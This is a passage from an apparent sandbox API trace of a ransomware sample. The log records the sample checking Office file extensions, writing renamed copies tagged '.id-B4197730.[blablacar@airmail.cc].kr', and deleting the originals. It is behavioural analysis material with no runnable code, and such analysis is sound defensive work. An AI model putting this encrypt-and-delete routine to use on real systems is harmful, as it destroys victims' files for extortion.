lpOverlapped=0x0) returned 1 [0095.397] ReadFile (in: hFile=0x360, lpBuffer=0x3ce5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesRead=0x25afecc*=0x0, lpOverlapped=0x0) returned 1 [0095.397] WriteFile (in: hFile=0x340, lpBuffer=0x3ce5020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x25afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesWritten=0x25afc94*=0x100, lpOverlapped=0x0) returned 1 [0095.399] SetEndOfFile (hFile=0x340) returned 1 [0095.399] CloseHandle (hObject=0x340) returned 1 [0095.403] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0095.403] SetEndOfFile (hFile=0x360) returned 1 [0095.404] CloseHandle (hObject=0x360) returned 1 [0095.404] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0095.405] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml" (normalized: "c:\\program files\\microsoft office\\filesystemmetadata.xml")) returned 1 [0095.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 56 [0095.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 56 [0095.405] lstrlenW (lpString=".doc") returned 4 [0095.405] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0095.405] lstrlenW (lpString=".docx") returned 5 [0095.405] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0095.405] lstrlenW (lpString=".pdf") returned 4 [0095.405] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0095.405] lstrlenW (lpString=".xls") returned 4 [0095.405] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0095.405] lstrlenW (lpString=".xlsx") returned 5 [0095.405] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0095.405] lstrlenW (lpString=".ppt") returned 4 [0095.405] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0095.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 56 [0095.406] lstrlenW (lpString=".zip") returned 4 [0095.406] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0095.406] lstrlenW (lpString=".rar") returned 4 [0095.406] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0095.406] lstrlenW (lpString=".bz2") returned 4 [0095.406] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0095.406] lstrlenW (lpString=".7z") returned 3 [0095.406] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0095.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 56 [0095.406] lstrlenW (lpString=".dbf") returned 4 [0095.406] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0095.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 56 [0095.406] lstrlenW (lpString=".1cd") returned 4 [0095.406] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0095.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 56 [0095.406] lstrlenW (lpString=".jpg") returned 4 [0095.406] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0095.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 56 [0095.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 56 [0095.406] lstrlenW (lpString=".doc") returned 4 [0095.406] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0095.406] lstrlenW (lpString=".docx") returned 5 [0095.406] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0095.407] lstrlenW (lpString=".pdf") returned 4 [0095.407] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0095.407] lstrlenW (lpString=".xls") returned 4 [0095.407] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0095.407] lstrlenW (lpString=".xlsx") returned 5 [0095.407] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0095.407] lstrlenW (lpString=".ppt") returned 4 [0095.407] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0095.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 56 [0095.407] lstrlenW (lpString=".zip") returned 4 [0095.407] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0095.407] lstrlenW (lpString=".rar") returned 4 [0095.407] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0095.407] lstrlenW (lpString=".bz2") returned 4 [0095.407] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0095.407] lstrlenW (lpString=".7z") returned 3 [0095.407] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0095.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 56 [0095.407] lstrlenW (lpString=".dbf") returned 4 [0095.407] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0095.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 56 [0095.407] lstrlenW (lpString=".1cd") returned 4 [0095.407] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0095.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 56 [0095.407] lstrlenW (lpString=".jpg") returned 4 [0095.407] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0095.408] lstrcmpiW (lpString1=".HTM", lpString2=".kr") returned -1 [0095.408] lstrlenW (lpString="OSPP.HTM") returned 8 [0095.408] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0095.409] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x25aff14 | out: lpFileSize=0x25aff14*=174528) returned 1 [0095.409] CloseHandle (hObject=0x360) returned 1 [0095.409] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.htm")) returned 0x20 [0095.409] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.htm.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0095.409] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0095.409] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0095.409] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0095.409] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.htm.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0095.411] GetLastError () returned 0x0 [0095.411] ReadFile (in: hFile=0x360, lpBuffer=0x3ce5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesRead=0x25afecc*=0x2a9c0, lpOverlapped=0x0) returned 1 [0095.417] WriteFile (in: hFile=0x340, lpBuffer=0x3ce5020*, nNumberOfBytesToWrite=0x2a9d0, lpNumberOfBytesWritten=0x25afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesWritten=0x25afc94*=0x2a9d0, lpOverlapped=0x0) returned 1 [0096.030] ReadFile (in: hFile=0x360, lpBuffer=0x3ce5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesRead=0x25afecc*=0x0, lpOverlapped=0x0) returned 1 [0096.030] WriteFile (in: hFile=0x340, lpBuffer=0x3ce5020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x25afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesWritten=0x25afc94*=0xe4, lpOverlapped=0x0) returned 1 [0096.030] SetEndOfFile (hFile=0x340) returned 1 [0096.030] CloseHandle (hObject=0x340) returned 1 [0096.039] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0096.039] SetEndOfFile (hFile=0x360) returned 1 [0096.042] CloseHandle (hObject=0x360) returned 1 [0096.043] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0096.043] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.htm")) returned 1 [0096.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned 51 [0096.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned 51 [0096.044] lstrlenW (lpString=".doc") returned 4 [0096.044] lstrcmpiW (lpString1=".doc", lpString2=".HTM") returned -1 [0096.044] lstrlenW (lpString=".docx") returned 5 [0096.044] lstrcmpiW (lpString1=".docx", lpString2="P.HTM") returned -1 [0096.044] lstrlenW (lpString=".pdf") returned 4 [0096.044] lstrcmpiW (lpString1=".pdf", lpString2=".HTM") returned 1 [0096.044] lstrlenW (lpString=".xls") returned 4 [0096.044] lstrcmpiW (lpString1=".xls", lpString2=".HTM") returned 1 [0096.044] lstrlenW (lpString=".xlsx") returned 5 [0096.044] lstrcmpiW (lpString1=".xlsx", lpString2="P.HTM") returned -1 [0096.044] lstrlenW (lpString=".ppt") returned 4 [0096.044] lstrcmpiW (lpString1=".ppt", lpString2=".HTM") returned 1 [0096.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned 51 [0096.044] lstrlenW (lpString=".zip") returned 4 [0096.044] lstrcmpiW (lpString1=".zip", lpString2=".HTM") returned 1 [0096.044] lstrlenW (lpString=".rar") returned 4 [0096.044] lstrcmpiW (lpString1=".rar", lpString2=".HTM") returned 1 [0096.044] lstrlenW (lpString=".bz2") returned 4 [0096.044] lstrcmpiW (lpString1=".bz2", lpString2=".HTM") returned -1 [0096.044] lstrlenW (lpString=".7z") returned 3 [0096.044] lstrcmpiW (lpString1=".7z", lpString2="HTM") returned -1 [0096.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned 51 [0096.044] lstrlenW (lpString=".dbf") returned 4 [0096.044] lstrcmpiW (lpString1=".dbf", lpString2=".HTM") returned -1 [0096.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned 51 [0096.044] lstrlenW (lpString=".1cd") returned 4 [0096.044] lstrcmpiW (lpString1=".1cd", lpString2=".HTM") returned -1 [0096.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned 51 [0096.044] lstrlenW (lpString=".jpg") returned 4 [0096.044] lstrcmpiW (lpString1=".jpg", lpString2=".HTM") returned 1 [0096.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned 51 [0096.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned 51 [0096.045] lstrlenW (lpString=".doc") returned 4 [0096.045] lstrcmpiW (lpString1=".doc", lpString2=".HTM") returned -1 [0096.045] lstrlenW (lpString=".docx") returned 5 [0096.045] lstrcmpiW (lpString1=".docx", lpString2="P.HTM") returned -1 [0096.045] lstrlenW (lpString=".pdf") returned 4 [0096.045] lstrcmpiW (lpString1=".pdf", lpString2=".HTM") returned 1 [0096.045] lstrlenW (lpString=".xls") returned 4 [0096.045] lstrcmpiW (lpString1=".xls", lpString2=".HTM") returned 1 [0096.045] lstrlenW (lpString=".xlsx") returned 5 [0096.045] lstrcmpiW (lpString1=".xlsx", lpString2="P.HTM") returned -1 [0096.045] lstrlenW (lpString=".ppt") returned 4 [0096.045] lstrcmpiW (lpString1=".ppt", lpString2=".HTM") returned 1 [0096.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned 51 [0096.045] lstrlenW (lpString=".zip") returned 4 [0096.045] lstrcmpiW (lpString1=".zip", lpString2=".HTM") returned 1 [0096.045] lstrlenW (lpString=".rar") returned 4 [0096.045] lstrcmpiW (lpString1=".rar", lpString2=".HTM") returned 1 [0096.045] lstrlenW (lpString=".bz2") returned 4 [0096.045] lstrcmpiW (lpString1=".bz2", lpString2=".HTM") returned -1 [0096.045] lstrlenW (lpString=".7z") returned 3 [0096.045] lstrcmpiW (lpString1=".7z", lpString2="HTM") returned -1 [0096.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned 51 [0096.045] lstrlenW (lpString=".dbf") returned 4 [0096.045] lstrcmpiW (lpString1=".dbf", lpString2=".HTM") returned -1 [0096.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned 51 [0096.045] lstrlenW (lpString=".1cd") returned 4 [0096.045] lstrcmpiW (lpString1=".1cd", lpString2=".HTM") returned -1 [0096.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned 51 [0096.045] lstrlenW (lpString=".jpg") returned 4 [0096.045] lstrcmpiW (lpString1=".jpg", lpString2=".HTM") returned 1 [0096.046] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0096.046] lstrlenW (lpString="AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 53 [0096.046] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0096.700] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x25aff14 | out: lpFileSize=0x25aff14*=800867) returned 1 [0096.700] CloseHandle (hObject=0x370) returned 1 [0096.702] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0000-1000-0000000ff1ce.xml")) returned 0x220 [0096.702] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0000-1000-0000000ff1ce.xml.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0096.703] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0096.703] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0096.703] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0096.703] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0000-1000-0000000ff1ce.xml.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0096.705] GetLastError () returned 0x0 [0096.705] ReadFile (in: hFile=0x370, lpBuffer=0x3ce5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesRead=0x25afecc*=0xc3863, lpOverlapped=0x0) returned 1 [0096.737] WriteFile (in: hFile=0x378, lpBuffer=0x3ce5020*, nNumberOfBytesToWrite=0xc3870, lpNumberOfBytesWritten=0x25afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesWritten=0x25afc94*=0xc3870, lpOverlapped=0x0) returned 1 [0097.428] ReadFile (in: hFile=0x370, lpBuffer=0x3ce5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesRead=0x25afecc*=0x0, lpOverlapped=0x0) returned 1 [0097.428] WriteFile (in: hFile=0x378, lpBuffer=0x3ce5020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x25afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesWritten=0x25afc94*=0x13e, lpOverlapped=0x0) returned 1 [0097.428] SetEndOfFile (hFile=0x378) returned 1 [0097.428] CloseHandle (hObject=0x378) returned 1 [0097.949] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0097.949] SetEndOfFile (hFile=0x370) returned 1 [0097.959] CloseHandle (hObject=0x370) returned 1 [0097.959] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0097.959] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0000-1000-0000000ff1ce.xml")) returned 1 [0097.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 104 [0097.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 104 [0097.963] lstrlenW (lpString=".doc") returned 4 [0097.963] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0097.963] lstrlenW (lpString=".docx") returned 5 [0097.963] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0097.963] lstrlenW (lpString=".pdf") returned 4 [0097.964] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0097.964] lstrlenW (lpString=".xls") returned 4 [0097.964] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0097.964] lstrlenW (lpString=".xlsx") returned 5 [0097.964] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0097.964] lstrlenW (lpString=".ppt") returned 4 [0097.964] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0097.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 104 [0097.964] lstrlenW (lpString=".zip") returned 4 [0097.964] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0097.964] lstrlenW (lpString=".rar") returned 4 [0097.964] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0097.964] lstrlenW (lpString=".bz2") returned 4 [0097.964] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0097.964] lstrlenW (lpString=".7z") returned 3 [0097.964] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0097.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 104 [0097.964] lstrlenW (lpString=".dbf") returned 4 [0097.964] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0097.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 104 [0097.964] lstrlenW (lpString=".1cd") returned 4 [0097.964] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0097.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 104 [0097.964] lstrlenW (lpString=".jpg") returned 4 [0097.964] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0097.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 104 [0097.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 104 [0097.965] lstrlenW (lpString=".doc") returned 4 [0097.965] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0097.965] lstrlenW (lpString=".docx") returned 5 [0097.965] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0097.965] lstrlenW (lpString=".pdf") returned 4 [0097.965] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0097.965] lstrlenW (lpString=".xls") returned 4 [0097.965] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0097.965] lstrlenW (lpString=".xlsx") returned 5 [0097.965] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0097.965] lstrlenW (lpString=".ppt") returned 4 [0097.965] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0097.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 104 [0097.966] lstrlenW (lpString=".zip") returned 4 [0097.966] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0097.966] lstrlenW (lpString=".rar") returned 4 [0097.966] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0097.966] lstrlenW (lpString=".bz2") returned 4 [0097.966] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0097.966] lstrlenW (lpString=".7z") returned 3 [0097.966] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0097.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 104 [0097.966] lstrlenW (lpString=".dbf") returned 4 [0097.966] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0097.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 104 [0097.966] lstrlenW (lpString=".1cd") returned 4 [0097.966] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0097.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 104 [0097.966] lstrlenW (lpString=".jpg") returned 4 [0097.966] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0097.966] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0097.966] lstrlenW (lpString="AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 53 [0097.967] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0098.497] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x25aff14 | out: lpFileSize=0x25aff14*=1124942) returned 1 [0098.497] CloseHandle (hObject=0x37c) returned 1 [0098.497] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0000-1000-0000000ff1ce.xml")) returned 0x220 [0098.497] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0000-1000-0000000ff1ce.xml.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0098.497] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0098.497] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0098.497] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0098.497] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0000-1000-0000000ff1ce.xml.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0098.499] GetLastError () returned 0x0 [0098.499] ReadFile (in: hFile=0x37c, lpBuffer=0x3ce5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesRead=0x25afecc*=0xffff0, lpOverlapped=0x0) returned 1 [0098.523] WriteFile (in: hFile=0x380, lpBuffer=0x3ce5020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x25afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesWritten=0x25afc94*=0xffff0, lpOverlapped=0x0) returned 1 [0098.542] ReadFile (in: hFile=0x37c, lpBuffer=0x3ce5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesRead=0x25afecc*=0x12a5e, lpOverlapped=0x0) returned 1 [0099.023] WriteFile (in: hFile=0x380, lpBuffer=0x3ce5020*, nNumberOfBytesToWrite=0x12a60, lpNumberOfBytesWritten=0x25afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesWritten=0x25afc94*=0x12a60, lpOverlapped=0x0) returned 1 [0099.027] ReadFile (in: hFile=0x37c, lpBuffer=0x3ce5020, nNumberOfBytesToRead=0xffff0, 